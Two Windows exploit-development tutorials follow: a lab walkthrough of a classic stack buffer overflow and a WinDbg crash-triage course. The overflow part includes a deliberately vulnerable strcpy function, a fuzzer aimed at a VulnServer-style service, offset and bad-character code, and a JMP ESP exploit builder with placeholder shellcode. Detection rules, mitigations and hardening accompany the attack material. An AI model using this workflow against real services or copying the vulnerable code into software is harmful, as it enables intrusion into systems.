Classic Stack Buffer Overflow: Smashing the Stack on Windows
Objective: Understand how a classic stack-based buffer overflow corrupts a Windows x86 call frame, hijacks the saved
EIP, and redirects execution through aJMP ESPtrampoline — and how/GS, SafeSEH, SEHOP, DEP, and ASLR defeat or complicate it, so you can detect and defend against this vulnerability class in authorized lab work.
1. Windows Memory Layout Primer
Every Windows process runs inside a private virtual address space. On x86 (32-bit), that space spans 0x00000000–0x7FFFFFFF for user mode. The stack grows downward (high to low addresses) and stores function call frames; the heap grows upward and serves dynamic allocations.
The CPU tracks two stack-relevant registers and one execution register:
ESP— stack pointer, the current top of stack.EBP— base/frame pointer, anchors the current frame.EIP— instruction pointer, the address of the next instruction. This is the attacker’s target.
A CALL instruction pushes the return address (the next EIP) onto the stack and jumps to the target. The matching RET pops that saved address back into EIP. If an attacker overwrites the saved return address on the stack, RET transfers control wherever they choose.
x86 is little-endian: the address 0x625011AF is written in the payload as the byte sequence \xAF\x11\x50\x62. This byte ordering matters for every address you place into an exploit buffer.
2. Anatomy of a Stack Frame
A standard cdecl/stdcall function frame is built by the prologue and torn down by the epilogue. Laid out high → low address:
| Stack Slot | Description |
|---|---|
| Function arguments | Pushed by caller before CALL |
Saved EIP (return address) | Pushed implicitly by the CALL instruction |
Saved EBP | Pushed by callee prologue (PUSH EBP) |
/GS stack cookie (if present) | Inserted between locals and saved EBP/EIP |
| Local variables / buffers | Allocated by SUB ESP, N |
← ESP (stack top) | Grows downward |
The prologue and epilogue, with the /GS cookie check shown, look like this:
; --- Prologue ---
push ebp ; save caller frame pointer
mov ebp, esp ; establish new frame
sub esp, 0x40 ; allocate 64 bytes of locals
mov eax, [__security_cookie]
xor eax, ebp ; cookie ^= EBP (frame-tied canary)
mov [ebp-4], eax ; store cookie above locals
; --- Epilogue ---
mov ecx, [ebp-4]
xor ecx, ebp
call __security_check_cookie ; compare vs master; abort on mismatch
mov esp, ebp
pop ebp ; restore caller frame pointer
ret ; pop saved EIP into instruction pointerReading this frame live in WinDbg or x64dbg — inspecting ESP, EBP, and the bytes between locals and the saved return address — is the first skill of exploit development.

3. The Overflow: Why Bounds Checks Matter
The root cause is always the same: a copy operation that writes more bytes into a fixed-size stack buffer than the buffer holds. The classic offenders are CRT functions that perform no bounds checking.
| Identifier | What it does |
|---|---|
strcpy, strcat, gets, sprintf, scanf | Unsafe CRT functions with no bounds checking — classic root causes |
memcpy(dst, src, count) | Copies count bytes regardless of dst size; dangerous when count is attacker-controlled |
Here is the canonical vulnerable pattern defenders must recognize in code review:
#include <string.h>
// DELIBERATELY VULNERABLE — lab use only.
void handle_request(char *attacker_input) {
char buffer[64]; // fixed 64-byte stack buffer
strcpy(buffer, attacker_input); // no length check — overflow
}When attacker_input exceeds 64 bytes, the copy walks past buffer, overwrites the saved EBP, then the saved EIP. Supply a long run of 0x41 ('A') and the program crashes with an access violation as the CPU tries to execute at EIP = 0x41414141. That controlled crash is proof you own the instruction pointer.
When compiled with MSVC /GS- (cookie disabled), the prologue omits the xor/store and the epilogue omits __security_check_cookie entirely — a linear overflow reaches the return address unobstructed. Diffing the /GS vs /GS- disassembly in a debugger is the clearest way to see the cookie.
4. Exploit Development Methodology on Windows
The classic workflow is a tight loop against an intentionally vulnerable target in an isolated VM:
- Fuzz to crash — send increasing-length inputs until the service faults.
- Find the offset — send a cyclic (de Bruijn) pattern, read the value in
EIPat crash, compute the exact distance to the return address. - Confirm EIP control — overwrite with a known marker (
0x42424242) and verify. - Enumerate bad characters — find bytes the protocol mangles (
\x00,\x0a,\x0dare common). - Find a trampoline — locate
JMP ESPin a non-ASLR module. - Build the payload — padding + trampoline address + NOP sled + shellcode.
A minimal network fuzzer:
import socket, time
target = ("192.168.56.20", 9999)
size = 100
while size < 4000:
try:
s = socket.socket()
s.connect(target)
buf = b"TRUN /.:/" + b"A" * size # protocol prefix + payload
s.send(buf)
s.close()
print(f"[+] sent {size} bytes")
size += 200
time.sleep(1)
except Exception:
print(f"[!] crashed at ~{size} bytes")
breakOffset discovery with a cyclic pattern (generated by pwntools or !mona pattern_create):
from pwn import cyclic, cyclic_find
pattern = cyclic(3000) # de Bruijn sequence
# ... send pattern, read EIP from the debugger at crash (e.g. 0x6f43396e) ...
offset = cyclic_find(0x6f43396e) # exact bytes before saved EIP
print(f"[+] EIP offset = {offset}")Bad-character enumeration sends the full byte range and diffs it against memory:
badchar_test = bytes(b for b in range(1, 256)) # skip \x00 first
# Send, then in the debugger: d esp -> compare bytes in memory
# Any byte missing/truncated is a bad char; rebuild excluding it.The final builder assembles the pieces. Note the placeholder shellcode — generate benign calc-popping shellcode with msfvenom in your own lab; never embed working shellcode in a tutorial:
from pwn import p32
offset = 2003
jmp_esp = 0x625011AF # FF E4 in a non-ASLR module
nop_sled = b"\x90" * 16
# shellcode = b"[MSFVENOM_OUTPUT_HERE]" # generated in your lab, -b "\x00\x0a\x0d"
shellcode = b"\x90" * 32 # placeholder
payload = b"A" * offset + p32(jmp_esp) + nop_sled + shellcodeThe key opcodes you search modules for:
| Opcode bytes | Instruction | Use |
|---|---|---|
FF E4 | JMP ESP | Classic return trampoline |
FF D4 | CALL ESP | Equivalent effect |
FF E5 | JMP EBP | When EBP points near the buffer |
EB 06 | Short JMP +6 | Next-SEH jump-over gadget |
Because ESP points at the attacker’s buffer when RET executes, returning into JMP ESP immediately pivots execution into the NOP sled and shellcode.

5. Windows Mitigations Deep-Dive
Modern Windows defaults make the naïve attack above fail. Each mitigation targets a different stage.
| Mitigation | Mechanism | Bypass vector (teaching) |
|---|---|---|
/GS (stack cookie) | Random DWORD cookie between locals and saved EBP/EIP; checked in epilogue | SEH overwrite before the cookie check; cookie leak |
| SafeSEH | PE table of valid SEH handlers; loader validates the handler before dispatch | Trampoline in a module not compiled /SAFESEH |
| SEHOP | Validates the SEH chain reaches FinalExceptionHandler at dispatch | Chain spoofing; non-opted-in modules |
DEP/NX (/NXCOMPAT) | Pages are W^X; the stack is non-executable | ROP chain (follow-on topic) |
ASLR (/DYNAMICBASE) | Randomizes image/stack/heap base | Partial overwrites, info leaks (follow-on topic) |
/GS computes a program-wide master cookie at startup via __security_init_cookie(), stored in the module’s .data section. The prologue copies it onto the stack between the locals and the saved frame pointer; the epilogue runs __security_check_cookie(), which calls __report_gsfailure() on mismatch. Microsoft shipped /GS in Visual Studio 2003 and enabled it by default in 2005. Variable reordering moves arrays and structs to the highest part of the frame so a linear overflow cannot clobber other locals before reaching the cookie.
The original /GS only protected arrays of 8+ elements with element size 1 or 2; the later GS++ expanded coverage to any array and any struct regardless of size. The critical limitation: /GS does not protect exception handler records. DEP and ASLR are not stack-specific — they do not stop the overflow or the EIP hijack; they make running shellcode far harder.

6. SEH-Based Overflow (x86)
On x86, Structured Exception Handling chains live on the stack as linked EXCEPTION_REGISTRATION_RECORD nodes:
typedef struct _EXCEPTION_REGISTRATION_RECORD {
struct _EXCEPTION_REGISTRATION_RECORD *Next; // next handler in chain
PEXCEPTION_ROUTINE Handler; // SE handler function ptr
} EXCEPTION_REGISTRATION_RECORD, *PEXCEPTION_REGISTRATION_RECORD;When a function uses try/except, this record sits on the stack beside the /GS cookie. If the attacker overflows far enough to overwrite both Next SEH and SE Handler, then triggers an exception before the epilogue runs __security_check_cookie(), the OS dispatches to the attacker-controlled handler — bypassing the cookie entirely.
The standard technique overwrites SE Handler with the address of a POP–POP–RET gadget inside a loaded module. At dispatch, the stack arrangement places a pointer to the Next SEH field where RET lands; POP–POP–RET unwinds two slots and returns into the attacker’s Next SEH value, which is typically a short jump (EB 06) over the handler bytes into the shellcode.
SafeSEH breaks this by validating the handler against the PE’s registered-handler table; attackers respond by sourcing the gadget from a module not built with /SAFESEH. SEHOP (default since Vista SP1) walks the chain to confirm it terminates at FinalExceptionHandler, defeating a naively overwritten chain. On 64-bit, exception data is table-based and no longer stored on the stack, so this primitive does not apply.

7. Lab Walkthrough: Exploiting an Intentionally Vulnerable Binary
Perform every step against a purpose-built target — VulnServer, brainpan, or a custom binary compiled with /GS- — inside an isolated VM with no network access to production. The two-phase approach makes the mitigations tangible:
- No-protections build: Compile with
/GS-/NXCOMPAT:NO/DYNAMICBASE:NO. Run the fuzzer (§4), crash the service, find the offset with a cyclic pattern, confirmEIPcontrol, enumerate bad chars, locateJMP ESPwithmona.py, and land in a NOP sled. /GS-only build: Recompile with/GSenabled, replay the same payload, and watch__security_check_cookiedetect the corrupted canary and terminate the process via__report_gsfailure()— the same input that worked now dies in the epilogue.
Reference debugger and mona.py commands:
0:000> g ; run until crash
0:000> r ; read registers — expect EIP = 41414141
0:000> d esp ; dump stack at ESP — find your buffer
0:000> !exploitable ; triage the crash classification
0:000> bp 0x625011AF ; break on the JMP ESP trampoline!mona findmsp ; locate cyclic pattern, report EIP offset
!mona jmp -r esp -cpb "\x00\x0a\x0d" ; find JMP ESP excluding bad chars
!mona bytearray -cpb "\x00" ; generate byte array for badchar diffing8. Common Attacker Techniques
| Technique | Description |
|---|---|
| Linear stack smash | Overflow a buffer to overwrite saved EIP with a JMP ESP trampoline |
| SEH overwrite | Overwrite Next SEH + SE Handler, trigger an exception to bypass /GS |
| Non-SafeSEH trampoline | Source POP–POP–RET / JMP ESP gadgets from modules lacking /SAFESEH |
| Bad-char-safe encoding | Encode shellcode to avoid protocol-mangled bytes (\x00, \x0a, \x0d) |
| Egghunter / staging | Use a small first-stage to locate or download a larger payload |
Post-exploit VirtualProtect | Mark injected memory executable to evade software DEP in legacy scenarios |
In practice the attacker chains these: a SEH overwrite defeats the cookie, a non-SafeSEH gadget defeats SafeSEH, and a ROP stub built from non-ASLR module gadgets defeats DEP before transferring to shellcode.
9. Defensive Strategies & Detection
Sysmon does not emit a “buffer overflow” event. The crash surfaces through Windows Error Reporting, and the post-exploitation behavior surfaces through Sysmon.
- WER Event ID 1000 (
Application Error,Applicationlog) — logs the faulting module,ExceptionCode = 0xC0000005(access violation), faulting offset, and thread ID. A0xC0000005at a non-canonical offset in a network-facing service is high-fidelity. - WER Event ID 1001 — records the crash bucket and any captured dump.
Relevant Sysmon events for follow-on activity:
| Event ID | Name | Relevance |
|---|---|---|
1 | Process Creation | Shells/payloads spawned from a crashed service |
3 | Network Connection | Reverse-shell / C2 egress from shellcode |
7 | Image Loaded | Unexpected ws2_32.dll load by a non-network service |
8 | CreateRemoteThread | Thread injection by shellcode |
10 | Process Access | Shellcode calling OpenProcess on lsass.exe |
11 | File Created | Dropped payloads / second-stage binaries |
25 | Process Tampering | Process hollowing following the overflow |
Useful ETW providers: Microsoft-Windows-WER-Diag (crash diagnostics), Microsoft-Windows-Security-Mitigations (WDEG/Exploit Guard triggers, in /KernelMode and /UserMode channels), and Microsoft-Windows-Kernel-Process. Enable Audit Process Creation (4688) with command-line logging and Audit Process Termination (4689) to catch crash/restart loops.
A conceptual Sigma rule keying on repeated crashes of a network-facing service:
title: Repeated Application Crash on Network-Facing Service
logsource:
product: windows
service: application
detection:
selection:
EventID: 1000
Application|contains: 'vulnservice.exe'
ExceptionCode: '0xc0000005'
condition: selection | count() > 3 by Application within 1m
falsepositives:
- Legitimate software bugs
level: medium
tags:
- attack.initial_access
- attack.T1190Hardening Steps
- Force WDEG / Exploit Protection on network-facing services — mandatory DEP, force-ASLR, SEHOP, heap-spray protection via
Set-ProcessMitigation. - Build with
/GS,/SAFESEH,/DYNAMICBASE,/NXCOMPATand audit your pipeline for them. - Verify SEHOP —
HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\kernel\DisableExceptionChainValidation = 0. - Forward WER Event ID 1000 to the SIEM and alert on repeated crashes of one process.
- Use AddressSanitizer (
/fsanitize=address, MSVC ≥ VS 2019 16.9) in dev/test to catch OOB writes. - Rate-limit oversized inputs at the WAF/NGFW; alert on crash surges.
- Run services least-privilege so successful exploitation yields minimal access.
10. Tools for Stack Overflow Analysis
| Tool | Description | Link |
|---|---|---|
| WinDbg | Kernel/user debugger; !exploitable crash triage | microsoft.com |
| x64dbg | User-mode debugger for live frame inspection | x64dbg.com |
| mona.py | Immunity/WinDbg plugin for offsets, trampolines, bad chars | github.com |
| pwntools | Python exploit-dev framework (cyclic, p32) | pwntools.com |
| ROPgadget | Gadget discovery for DEP-bypass chains | github.com |
| Ghidra | Static disassembly / decompilation for code review | ghidra-sre.org |
| Sysmon | Endpoint telemetry for post-exploitation behavior | microsoft.com |
11. MITRE ATT&CK Mapping
| Technique | MITRE ID | Detection |
|---|---|---|
| Exploit Public-Facing Application | T1190 | WER EventID 1000 crash bursts; WAF oversized-input alerts |
| Exploitation for Privilege Escalation | T1068 | Service running as SYSTEM crashing then spawning children |
| Exploitation for Client Execution | T1203 | Client app (parser/player) crash + child process via Sysmon EventID 1 |
| Endpoint DoS: Application Exploitation | T1499.004 | Repeated crash/restart loops (4689, WER 1000) |
| Exploit Protection (mitigation) | M1050 | DEP/ASLR/SEHOP//GS enforced via WDEG telemetry |
Stack buffer overflow is a vulnerability primitive, not a standalone ATT&CK technique. T1190 and T1068 are the canonical mappings for the adversarial behavior that uses it.
Summary
- A classic stack buffer overflow overwrites the saved return address to hijack
EIPand pivot execution into attacker-controlled shellcode via aJMP ESPtrampoline. - The x86 frame places locals, an optional
/GScookie, savedEBP, and the returnEIPin a predictable order that linear overwrites exploit. /GSinserts a stack canary checked in the epilogue, but does not protect SEH records — the SEH overwrite is the canonical x86 bypass, in turn countered by SafeSEH and SEHOP.- DEP and ASLR do not stop the overflow itself; they force ROP and info-leak techniques to run shellcode.
- Detect via WER
Event ID 1000(0xC0000005) crash bursts plus Sysmon post-exploitation events, and harden with WDEG,/GS/SAFESEH/DYNAMICBASE/NXCOMPAT, SEHOP, and least privilege.
Related Tutorials
- Egghunters: Staged Payload Delivery When Buffer Space Is Tight
- Understanding the Stack: Frames, Prologue/Epilogue, and Stack Layout
- Shellcode Encoders: XOR Encoding, Custom Decoders, and Avoiding Bad Chars
- Position-Independent Code: Writing PIC Shellcode Without Hardcoded Addresses
- Writing x64 Shellcode: Differences, Shadow Space, and Register Conventions
References
- Exploitation for Privilege Escalation, Technique T1068 – Enterprise | MITRE ATT&CK
- Exploit Public-Facing Application, Technique T1190 – Enterprise | MITRE ATT&CK
- /GS (Buffer Security Check) | Microsoft Learn
- Visual C++ Support for Stack-Based Buffer Protection | Microsoft Learn (MSDN Magazine)
- Security Briefs: Protecting Your Code with Visual C++ Defenses | Microsoft Learn
- Security Features in Microsoft Visual C++ | Microsoft C++ Team Blog
WinDbg Crash Course: Navigation, Commands, and Workflow for Exploit Devs
Objective: Learn to drive WinDbg against a crashing Windows target — configure symbols, attach in all three modes, read a fault from first principles, master every breakpoint type, inspect the heap, and use the
dxdata model and Time Travel Debugging — so you can triage crashes and build the workflow exploitation labs depend on.
1. WinDbg Classic vs. WinDbg Preview — Choosing Your Tool
Two editions share the same dbgeng.dll engine but differ in shell and capabilities.
| Feature | WinDbg Classic | WinDbg Preview (WinDbgX) |
|---|---|---|
| Distribution | Windows SDK / WDK | Microsoft Store (UWP) |
| Layout model | Workspace .wsp files | Modern ribbon UI |
| Time Travel Debugging | No | Yes |
| Underlying engine | dbgeng.dll | dbgeng.dll |
Use WinDbg Preview as your daily driver — the ribbon, source overlay, and Time Travel Debugging (TTD) make crash triage faster. Keep Classic available for headless scripting on stripped-down lab VMs where the Store runtime is unavailable. Kernel debugging over serial/network (bcdedit /debug on) is a separate discipline; this tutorial stays user-mode.
2. Symbol Configuration Done Right
Without symbols, every other command degrades to raw addresses. A PDB (.pdb) file maps human-readable source elements — function names, struct layouts, locals — to addresses in the compiled binary. Symbols are generated at build/link time.
Set the symbol path before you launch via the _NT_SYMBOL_PATH environment variable, or in-session with .sympath.
0:000> .sympath cache*C:\Symbols;srv*https://msdl.microsoft.com/download/symbols
0:000> .reload /f
0:000> lm.reload loads symbols lazily; .reload /f forces immediate load. When a module shows (deferred) or (export symbols) in lm, symbol resolution failed. Diagnose with !sym noisy, which prints every path the loader probes, then silence it with !sym quiet.
| Command | Purpose |
|---|---|
.sympath | Display / set / append the symbol path |
.reload /f | Force immediate symbol load |
!sym noisy | Verbose symbol-loader trace |
lm | List modules and symbol-load state |
x module!pattern | Resolve a symbol name to an address |
ln address | Find the nearest named symbol to an address |
3. Attaching to a Target: Three Modes
| Mode | How | Use case |
|---|---|---|
| Launch | windbg.exe target.exe | Debug from process start |
| Attach | windbg.exe -p <PID> | Inspect a running process |
| Open dump | windbg.exe -z crash.dmp | Post-mortem analysis |
On launch and attach the debugger stops at an initial break before user code runs. The exception model is two-stage: the debugger sees a first-chance exception first, and only if the target’s own handlers do not resolve it does the second-chance exception fire. Control which exceptions break execution with sxe (enable / break), sxd (disable), and sxi (ignore).
0:000> sxe av ; break on first-chance access violations
0:000> sxe ld:user32 ; break when user32 loads
0:000> gThe sxe ld / g idiom is the canonical way to break exactly when a target module maps into the address space — essential for setting breakpoints on code that is not yet present.

4. The Essential Command Vocabulary
Execution control, register/stack inspection, and memory display form the core loop.
| Command | What it does |
|---|---|
g (F5) | Continue execution of the debuggee |
p / t | Step over / step into |
gu | Execute until the current function returns |
pt / wt | Step to next ret / trace-and-watch a call tree |
r | Display all general-purpose registers |
k / kb / kp | Stack trace; kb adds first 3 args; kp adds typed parameters |
lm / u / uf | List modules / disassemble / disassemble full function |
Memory display and edit commands follow a consistent type-suffix grammar:
| Command | What it does |
|---|---|
db / dw / dd / dq | Display bytes / words / DWORDs / QWORDs |
da / du | Display ASCII / Unicode string |
dp / dv | Display pointer-sized values / local variables |
dt module!Type [addr] | Dump a typed struct (e.g. dt ntdll!_PEB @$peb) |
!peb / !teb | Dump the Process / Thread Environment Block |
eb / ew / ed / eq | Edit byte / word / DWORD / QWORD |
ea / eu | Write ASCII / Unicode characters to an address |
s -d start end value | Search memory for a pattern over a range |
!address | Show virtual mapping, permissions, and region type |
A typical inspection sequence at a fault reads registers, walks the stack, then dumps memory at the stack pointer:
0:000> r
0:000> k
0:000> dd esp L8
0:000> dt ntdll!_EXCEPTION_RECORD @$exr5. Crash Triage: Reading a Fault from First Principles
When a target faults, the debugger lands on the faulting instruction with an exception record describing the cause. !analyze -v automates first-pass triage, emitting the faulting IP, the decoded exception, the stack, and a probable root cause.
0:000> !analyze -v
FAULTING_IP:
vuln!process_packet+0x4a
0040124a 8801 mov byte ptr [ecx],al
EXCEPTION_RECORD: (.exr -1)
ExceptionCode: c0000005 (Access violation)
ExceptionAddress: 0040124a
EXCEPTION_PARAMETER[1]: 41414141 ; attacker-controlled write target
STACK_TEXT:
0019f7c0 41414141 41414141 41414141 vuln!process_packet+0x4aRead it methodically: FAULTING_IP is the instruction that trapped; the [ecx] write target of 41414141 (“AAAA”) signals attacker-controlled memory. A corrupted STACK_TEXT full of 41414141 indicates a saved-return-address overwrite. Decode any NTSTATUS with !error 0xC0000005. The MSEC !exploitable extension applies heuristics to estimate exploitability classification — load it with .load msec.dll first.
For Structured Exception Handler overwrites, !exchain walks the handler chain:
0:000> !exchain
0019ffdc: 41414141 ; handler overwritten with attacker bytes
Invalid exception stack at 41414141A handler pointer of 41414141 confirms an SEH overwrite primitive.

6. Breakpoint Mastery
WinDbg distinguishes software breakpoints (bp, patch an int 3) from hardware breakpoints (ba, debug registers — they trap reads/writes/executes without modifying code).
| Command | What it does |
|---|---|
bp module!func | Software breakpoint, resolved immediately |
bu module!func | Unresolved — arms when the module loads |
bm module!pattern* | Breakpoint on all symbols matching a pattern |
ba r4 addr | Hardware breakpoint: read 4 bytes (ba e1 = execute, ba w4 = write) |
bp /1 addr | One-shot breakpoint, auto-clears after firing |
bl / bd N / be N / bc * | List / disable / enable / clear all breakpoints |
Attach a command string that runs automatically on each break, chaining with ;:
0:000> bu kernel32!WriteFile "k; r eax; g"
0:000> ba w4 0019f7c0 "!address @rip; g"Use hit-count throttling to avoid output floods on hot paths, and dx query expressions for true conditional breakpoints:
0:000> bp /5 `vuln!net.c:385` "!teb; k; g"
0:000> bp /w "dx ((int)@ecx) == 0x41414141" vuln!process_packetThe bp /w form breaks only when the expression evaluates true — far cheaper than breaking and manually re-continuing.
7. Heap Internals Inspection
Heap corruption — use-after-free, overflow into adjacent chunks — is where most modern exploitation lives. The !heap extension family exposes chunk headers and allocation state.
| Command | What it does |
|---|---|
!heap -s | Summary of all heaps |
!heap -flt s 0x80 | Show all allocations of size 0x80 |
!heap -p -all | Walk all allocations in all heaps |
!heap -l | Detect leaked heap blocks |
0:000> !heap -s
0:000> !heap -flt s 0x80 ; isolate chunks of a target size class
0:000> !heap -p -all ; correlate chunks to allocation call sitesFiltering by size class isolates the chunks an attacker grooms; !heap -p -all ties each block back to its allocation stack, which is how you identify the object straddling a corrupted boundary.
8. The dx Data Model and Scripting
The dx (Debugger Object Model) command exposes debugger state as queryable objects with a LINQ-style syntax — ideal for filtering large outputs and building conditions.
0:000> dx @$curprocess.Modules
0:000> dx @$curthread.Stack.Frames.Select(f => f.Attributes.InstructionOffset)
0:000> dx Debugger.Utility.Control.ExecuteCommand("k")Debugger.Utility.Control.ExecuteCommand runs any legacy command from inside a dx query, enabling hybrid scripts that mix object queries with classic extensions. Load JavaScript automation with .scriptload script.js and invoke it with .scriptrun.
9. Time Travel Debugging for Exploit Devs
TTD records a full execution trace you can replay forward and backward, then query as data. It is the single biggest accelerator for root-causing memory corruption, because you can step backward from the crash to the write that caused it. WinDbgX must run as Administrator, and TTD is user-mode only in the current public build.
Recording produces a .run trace file. Open it and navigate with the reverse-execution commands:
| Command | What it does |
|---|---|
!tt 0:0 | Jump to a trace position (here, rewind to start) |
g- / p- / t- | Reverse continue / step / trace |
dx @$cursession.TTD.Calls("module!func") | Query every call to a function across the trace |
0:000> !tt 0:0
0:000> dx @$cursession.TTD.Calls("ntdll!RtlAllocateHeap")
0:000> g- ; reverse-continue to the write that preceded the corruptionThe workflow for a heap-corruption case: record to crash, query RtlAllocateHeap/RtlFreeHeap calls to find the freed chunk, set a write watchpoint on it, and g- backward to the exact instruction that wrote out of bounds.

10. Automation and Crash Triage Pipelines
For fuzzer integration, drive WinDbg headlessly with -c startup commands and -logo logging. A minimal triage script:
sxe av; g; !analyze -v; .logclose; qWrap it from any orchestrator:
import subprocess, re
cmds = 'sxe av; g; !analyze -v; .logclose; q'
subprocess.run(['windbg.exe', '-c', cmds, '-logo', 'out.txt', 'target.exe'])
log = open('out.txt', encoding='utf-8', errors='ignore').read()
m = re.search(r'FAULTING_IP:\s*\n(.+)', log)
print('Fault:', m.group(1).strip() if m else 'no crash').logopen / .logclose tee session output to disk for later parsing, turning every fuzzer crash into a structured triage record.
11. Common Attacker Techniques
WinDbg is a defensive and authorized-testing tool, but the APIs it relies on overlap heavily with adversary tradecraft — which is precisely why studying it teaches you the telemetry attackers generate.
| Technique | Description |
|---|---|
| Process attach | OpenProcess(PROCESS_ALL_ACCESS) + DebugActiveProcess mirror injection-stager behavior |
| Memory read/write | ReadProcessMemory / WriteProcessMemory underpin both debugging and code patching |
| Module enumeration | lm, !peb, !teb mirror malware’s runtime module/OS reconnaissance |
| Exploitability triage | !analyze -v, !exploitable, !exchain are used to weaponize crashes |
| TTD trace harvesting | .run files capture sensitive in-memory data during analysis |
An attacker reading LSASS or another process under the same primitives that WinDbg uses generates near-identical handle and memory-access telemetry — so the defender who understands WinDbg understands the indicators.
12. Defensive Strategies & Detection
Debugger activity is observable through process-creation, handle-access, and named-pipe telemetry.
| Sysmon Event ID | Relevance |
|---|---|
| Event ID 1 (Process Create) | windbg.exe / windbgx.exe launch; command line reveals -p PID attach or -z dump |
| Event ID 10 (ProcessAccess) | Attach yields OpenProcess with GrantedAccess: 0x1fffff; SourceImage is windbg.exe |
| Event ID 8 (CreateRemoteThread) | Debugger-injection / anti-anti-debug patterns |
| Event ID 17/18 (Pipe Create/Connect) | Kernel debugging over \\.\pipe\... |
Behavioral indicators for blue teams: windbg.exe -p <PID> on the command line (live attach), presence of dbgsrv.exe / ntsd.exe (remote/headless debug server), msec.dll loaded into a session (active exploitability assessment), and .run TTD trace files written to disk.
A Sigma rule for full-access process attach by a debugger:
title: Debugger Full-Access Attach to Process
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 10
SourceImage|endswith:
- '\windbg.exe'
- '\windbgx.exe'
GrantedAccess: '0x1fffff'
condition: selection
level: mediumPair Sysmon with the Microsoft-Windows-Kernel-Process ETW provider and Security Event 4688 (enable Audit Process Creation with command-line capture). Restrict SeDebugPrivilege on production hosts so non-admins cannot attach to other users’ or SYSTEM processes, and never expose kernel-debug ports on networked machines.
MITRE ATT&CK Mapping
| Technique | MITRE ID | Detection |
|---|---|---|
| Native API | T1106 | EDR hooks on OpenProcess / ReadProcessMemory |
| Process Injection | T1055 | Sysmon Event ID 10, GrantedAccess masks |
| Process Injection: DLL Injection | T1055.001 | LdrLoadDll / .load activity in traces |
| Debugger Evasion | T1622 | IsDebuggerPresent / heap-flag / timing probes |
| OS Credential Dumping | T1003 | Handle access to lsass.exe (authorized DFIR only) |
| System Information Discovery | T1082 | !peb / !teb / lm-equivalent runtime recon |
13. Tools for WinDbg Analysis
| Tool | Description | Link |
|---|---|---|
| WinDbg Preview | Modern debugger with TTD | microsoft.com |
| WinDbg Classic | SDK/WDK debugger for headless scripting | microsoft.com |
| Process Hacker | Live handle / memory inspection | processhacker.sourceforge.io |
| Process Monitor | File / registry / process tracing | live.sysinternals.com |
| x64dbg | User-mode disassembler-debugger | x64dbg.com |
| Ghidra | Static reverse engineering | ghidra-sre.org |
| Volatility | Memory-forensics framework | volatilityfoundation.org |
msec.dll (!exploitable) | Heuristic exploitability triage | MSEC release |
14. Summary
- WinDbg is the exploit developer’s primary lens into a faulting Windows process — and mastering it means mastering the telemetry attackers generate.
- Correct symbol configuration (
.sympath,.reload /f,!sym noisy) is the prerequisite that makes every other command meaningful. !analyze -v,!exchain, and!heapturn a raw access violation into a root-caused, classified crash;dxqueries and TTD let you step backward to the exact corrupting write.- Master all breakpoint types —
bp,bu,bm, hardwareba, one-shot/1, command anddx-conditional breaks — to control execution precisely. - Detect debugger and attach activity via Sysmon Event ID 1 and 10 (
GrantedAccess: 0x1fffff), Event 4688 command-line auditing, and restrictedSeDebugPrivilegeon production hosts.
Related Tutorials
- Setting Up Your Exploit Development Lab (VMs, Debuggers, Tools)
- What is Exploit Development?
- Egghunters: Staged Payload Delivery When Buffer Space Is Tight
- Shellcode Encoders: XOR Encoding, Custom Decoders, and Avoiding Bad Chars
- Position-Independent Code: Writing PIC Shellcode Without Hardcoded Addresses
References
- Get Started with WinDbg User-Mode Debugger – Microsoft Learn
- Using Debugger Commands (WinDbg) – Microsoft Learn
- bp, bu, bm (Set Breakpoint) – Microsoft Learn
- Processor Breakpoints (ba Breakpoints) – Microsoft Learn
- MITRE ATT&CK T1587.004 – Develop Capabilities: Exploits
- Debugging – WinDBG & WinDBGX Fundamentals – Corelan Exploit Development & Vulnerability Research